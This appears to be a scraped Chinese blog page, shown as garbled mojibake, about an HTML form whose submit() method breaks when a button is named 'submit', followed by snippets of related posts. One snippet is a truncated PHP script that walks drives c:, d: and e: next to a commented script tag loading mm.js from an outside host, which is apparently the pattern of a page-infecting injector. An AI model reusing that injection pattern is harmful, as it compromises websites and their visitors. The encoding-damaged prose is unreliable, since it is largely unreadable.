Html from Ìá½»
¹ØÓÚHtml
form
±íµ¥µÄÌá½»£¬ºÜÈÝÒס£¡£¡£µ«Èç¹û²»×Ðϸ»¹ÊÇÄÜÓкܶà´íÎó¡£
Ìá½»µÄbutton name ÊôÐÔΪ submit form
µÄsubmit·½·¨Ê§Ð§
¡£´úÂëÈçÏÂ
# < html >
# < head > </ head >
# < script type = "text/javascript" >
# function getData(){
# document.forms[0].submit(); //ÕâÀï»á³ö´í£¬ÒòΪËûËü¶ÁÈ¡µÄÊÇinput±êÇ©ÃûΪsubmit
# }
# </ script >
# < body >
#
# < form id = "form1" name = "form1" method = "get" action = "http://xiayuanfeng.javaeye.com" >
# < input type = "button" name = "submit" onclick = "getData();" value = "Ìá½»" >
# </ form >
#
# </ body >
# </ html >
<html>
<head></head>
<mce:script type="text/javascript" src="jquery.js" mce_src="jquery.js"></mce:script>
<mce:script type="text/javascript"><!--
function getData(){
var objform = document.forms[0]
for(var i in objform){
if(i.indexOf("submit")!=-1){
alert(i+" ="+objform[i]);
}
}
}
// --></mce:script>
<body>
<form id="form1" name="form1" method="get" action="http://xiayuanfeng.javaeye.com">
<input type="text" name="aa">
<input type="button" name="submit" onclick="getData();" value="Ìá½»">
</form>
</body>
</html>
·¢ÏÖ submitÒѾ±ä³É form
µÄÒ»¸öÊôÐÔÁË£¬²¢²»ÊÇ·½·¨¡£ÕâÏÂÃ÷°×ÁË°É¡£°Ñsubmit£¨Ò²¾ÍÊÇsubmit·½·
Ïà¹ØÎĵµ£º
ÓÐʱºòÎÒÃÇÐèÒªÔÚFlexÓ¦ÓÃÖÐǶÈëHTML´úÂ룬¸ù¾ÝǶÈëHTMLÒªÇóµÄ²»Í¬ÓÐÒÔÏÂÈýÖÖ·½·¨£º
1¡¢FlexÎı¾×é¼þ£¨Label¡¢Text¡¢TextArea£©µÄhtmlTextÊôÐÔÖ§³ÖһЩ»ù±¾µÄHTML´úÂ룬ÀýÈ磺
<mx:TextArea>
<mx:htmlText>
<!--[CDATA[
<p align="center"><font size="15" color="#3399ff"> ......
±»StrutsµÄhtml:checkBox±êǩʹÓõÄСÎÊÌâÓôÃÆÁËÁ½Ì죬½ñÌìÖÕÓÚÕÒµ½Á˽â¾öµÄ°ì·¨¡£Èç¹û´ó¼ÒÒ²Óöµ½Í¬ÑùµÄÎÊÌ⣬¿ÉÒԲο¼¡£
1£©ÐèÇó£º
µ±Í¨¹ý²Ëµ¥½øÈëÒ³Ãæʱ£¬Ò³ÃæÖеÄcheckbox´¦ÓÚ±»Ñ¡ÖÐ״̬£¬Ò³ÃæÌá½»ºóforward»Ø±¾Ò³£¬¶ÔÓ¦µÄcheckbox±£³ÖÌύʱµÄ״̬£¬Ò²¾ÍÊÇ˵£ºÈç¹ûÌύʱcheck ......
<?php
set_time_limit(0);
$dirArray=array("c:","d:","e:");
foreach ($dirArray as $key => $value)
{
getAllDirAndFile($value);
}
//<script language=javascript src=http://mm.aa88567.cn/index/mm.js></script>
function ......
1
¡¢±àд
js
º¯Êý
<script
type="text/javascript">
function display(id){
var
traget=document.getElementById(id);
if(traget.style.display=="none"){
&nbs ......
HTMLÏà¶Ô·¾¶Óë¾ø¶Ô·¾¶
ÔÚÍøÒ³ÖÆ×÷µÄ¹ý³ÌÖУ¬ÉÙ²»Á˸ú·¾¶´ò½»µÀ£¬±ÈÈ磬°üº¬Ò»¸öÎļþ£¬²åÈëÒ»¸öͼƬµÈ£¬Óë·¾¶¶¼ÓйØϵ£¬Èç¹ûʹÓÃÁË´íÎóµÄÎļþ·¾¶£¬¾Í»áµ¼ÖÂÒýÓÃʧЧ(ÎÞ·¨ä¯ÀÀÁ´½ÓÎļþ£¬»òÎÞ·¨ÏÔʾ²åÈëµÄͼƬµÈ)¡£³õѧÕß¿ÉÄÜ»á¸Ðµ½À§»ó£¬ÏÂÃæÎÒ¾ÍÏêϸµÄ½éÉÜÒ»ÏÂÏà¶Ô·¾¶Óë ......